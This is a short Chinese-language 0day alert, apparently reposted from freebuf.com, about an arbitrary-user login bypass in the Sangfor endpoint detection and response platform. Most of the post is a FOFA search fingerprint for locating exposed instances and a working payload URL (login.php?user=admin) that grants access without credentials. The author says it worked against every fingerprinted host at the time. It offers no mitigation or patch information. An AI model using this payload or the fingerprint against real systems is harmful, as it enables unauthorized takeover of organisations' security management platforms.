漏洞预警：深信服-SANGFOR终端 – 任意用户登录 0day – 作者:听闻瓜子Max

简介

2020年08月18日，fofa是通杀，截止到今天我就不清楚情况了。
fofa指纹: title=”SANGFOR终端检测响应平台”

payload

payload: https://ip/ui/login.php?user=随便写一点

例如: https://111.111.11.111:5000/ui/login.php?user=admin

输入完毕以后即可直接登录平台

来源：freebuf.com 2020-08-20 03:14:37 by: 听闻瓜子Max